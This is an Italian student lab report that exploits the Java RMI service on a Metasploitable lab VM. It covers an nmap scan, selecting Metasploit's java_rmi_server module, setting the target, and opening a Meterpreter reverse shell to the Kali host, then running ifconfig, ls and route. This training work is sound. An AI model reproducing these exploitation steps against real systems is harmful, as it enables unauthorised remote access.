

# Benchmark M4

esercitazione finale modulo 4

Ignazio Saba

# INTRODUZIONE

In questo benchmark dovremmo fruttare un servizio vulnerabile sulla porta 1099 – Java RMI., sulla macchina metasploitable utilizzando metasploit.

# configurazioni

LAN kali IP: 192.168.32.10

LAN METASPLOITABLE IP: 192.168.32.12

# SCANSIONE NMAP

```
file2.txt
└──(kali㉿ kali) [~]
$ nmap 192.168.32.12 -sV
Starting Nmap 7.94SVN ( https://nmap.org ) (24-02-22 13:53 EST)
Nmap scan report for 192.168.32.12
Host is up (0.0017s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 2.3.4
22/tcp    open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet  Linux telnetd
25/tcp    open  smtp   Postfix smtpd
53/tcp    open  domain ISC BIND 9.4.2
80/tcp    open  http   Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind 2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec   netkit-rsh rexecd
513/tcp   open  login   OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi  GNU Classpath grmiregistry
1524/tcp  open  bindshell Metasploitable root shell
2049/tcp  open  nfs    2-4 (RPC #100003)
2121/tcp  open  ftp     ProFTPD 1.3.1
3306/tcp  open  mysql   MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc    VNC (protocol 3.3)
6000/tcp  open  X11    (access denied)
6667/tcp  open  irc    UnrealIRCd
8009/tcp  open  ajp13  Apache Jserv (Protocol v1.3)
8180/tcp  open  http   Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CP
```

scansione con NMAP per verificare la presenza effettiva della vulnerabilità

# search su metasploit

```
msf6 > search java_rmi

Matching Modules
=====
#  Name          Disclosure Date Rank   Check Description
-----  -----
0 auxiliary/gather/java_rmi_registry      normal  No  Java RMI Registry Interfaces Enumeration
1 exploit/multi/misc/java_rmi_server     2011-10-15  excellent Yes Java RMI Server Insecure Default Configuration Java Code Execution
2 auxiliary/scanner/misc/java_rmi_server  2011-10-15  normal  No  Java RMI Server Insecure Endpoint Code Execution Scanner
3 exploit/multi/browser/java_rmi_connection_impl 2010-03-31  excellent No  Java RMIClientImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 >
```

avviata la console di metasploit con il comando msfconsole proseguiamo con la ricerca dell'exploit da utilizzare con il comando “search java\_rmi” e otteniamo quattro risultati,

# exploit

```
file2.txt
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
  php-revers...
Name  Current Setting Required Description
---- -----
HTTPDELAY 10      yes   Time that the HTTP Server will wait for the payload request
RHOSTS           yes   The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 1099        yes   The target port (TCP)
SRVHOST 0.0.0.0    yes   The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080      yes   The local port to listen on.
SSL false         no    Negotiate SSL for incoming connections
SSLCert          no    Path to a custom SSL certificate (default is randomly generated)
URIPATH.txt      no    The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
Name  Current Setting Required Description
---- -----
LHOST 192.168.32.10 yes   The listen address (an interface may be specified)
LPORT 4444         yes   The listen port

Exploit target:
Id  Name
--  --
0  Generic(Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > |
```

selezioniamo l'exploit con il comando “use 1” successivamente mandiamo il comando “show options” per verificare i parametri che dobbiamo impostare

# exploit

l'unico parametro non configurato correttamente è l'indirizzo della macchina attaccata quindi andiamo a configurarlo con il comando  
“set rhost 192.168.32.12”

```
View the full module info with the info, or info -d command.
```

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.32.12
rhosts => 192.168.32.12
```

# exploit

esecuzione dell'exploit con il comando “exploit”  
esecuzione avvenuta con successo e sessione  
aperta

```
msf6 -> 192.168.32.12
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.32.10:4444
[*] 192.168.32.12:1099 - Using URL: http://192.168.32.10:8080/6kQLqQ
[*] 192.168.32.12:1099 - Server started.
[*] 192.168.32.12:1099 - Sending RMI Header...
[*] 192.168.32.12:1099 - Sending RMI Call...
[*] 192.168.32.12:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.32.12
[*] Meterpreter session 1 opened (192.168.32.10:4444 -> 192.168.32.12:57682) at 2024-02-22 14:03:14 -0500
```

# exploit

```
meterpreter > ifconfig

Interface 1
=====
Name      : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask: 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask:::

Interface 2
=====
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.32.12
IPv4 Netmask: 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe80:c266
IPv6 Netmask:::

meterpreter > |
```

lanciamo il comando  
“ifconfig” e verifichiamo  
le configurazioni della  
rete del pc vittima

# exploit

```
meterpreter > ls  
Listing: /  
=====  
  
Mode      Size  Type Last modified      Name  
----  -----  ----  
100666/rw-rw-rw-  0    fil  2024-01-27 12:13:01 -0500 %@]R-],2R  
040666/rw-rw-rw-  4096   dir  2012-05-13 23:35:33 -0400 bin  
040666/rw-rw-rw-  1024   dir  2012-05-13 23:36:28 -0400 boot  
040666/rw-rw-rw-  4096   dir  2010-03-16 18:55:51 -0400 cdrom  
040666/rw-rw-rw-  13480  dir  2024-02-22 13:50:43 -0500 dev  
040666/rw-rw-rw-  4096   dir  2024-02-22 13:50:44 -0500 etc  
040666/rw-rw-rw-  4096   dir  2010-04-16 02:16:02 -0400 home  
040666/rw-rw-rw-  4096   dir  2010-03-16 18:57:40 -0400 initrd  
100666/rw-rw-rw-  7929183 fil  2012-05-13 23:35:56 -0400 initrd.img  
040666/rw-rw-rw-  4096   dir  2012-05-13 23:35:22 -0400 lib  
040666/rw-rw-rw-  16384  dir  2010-03-16 18:55:15 -0400 lost+found  
040666/rw-rw-rw-  4096   dir  2010-03-16 18:55:52 -0400 media  
040666/rw-rw-rw-  4096   dir  2010-04-28 16:16:56 -0400 mnt  
100666/rw-rw-rw-  32498  fil  2024-02-22 13:50:46 -0500 nohup.out  
040666/rw-rw-rw-  4096   dir  2010-03-16 18:57:39 -0400 opt  
040666/rw-rw-rw-  0     dir  2024-02-22 13:50:34 -0500 proc  
040666/rw-rw-rw-  4096   dir  2024-02-22 13:50:46 -0500 root  
040666/rw-rw-rw-  4096   dir  2012-05-13 21:54:53 -0400 sbin  
040666/rw-rw-rw-  4096   dir  2010-03-16 18:57:38 -0400 srv  
040666/rw-rw-rw-  0     dir  2024-02-22 13:50:35 -0500 sys  
040666/rw-rw-rw-  4096   dir  2024-02-22 14:03:10 -0500 tmp  
040666/rw-rw-rw-  4096   dir  2010-04-28 00:06:37 -0400 usr  
040666/rw-rw-rw-  4096   dir  2010-03-17 10:08:23 -0400 var  
100666/rw-rw-rw-  1987288 fil  2008-04-10 12:55:41 -0400 vmlinuz  
  
meterpreter >
```

con il comando “ls” possiamo vedere tutte directory della macchina

# exploit

```
meterpreter > route  
  
IPv4 network routes  
=====  
  
Subnet      Netmask      Gateway Metric Interface  
-----      -----  
127.0.0.1   255.0.0.0  0.0.0.0  
192.168.32.12 255.255.255.0 0.0.0.0  
  
  
IPv6 network routes  
=====  
  
Subnet      Netmask      Gateway Metric Interface  
-----      -----  
::1          ::  ::  
fe80::a00:27ff:fe80:c266 ::  ::  
meterpreter >
```

con il comando “route” possiamo vedere la tabella di routing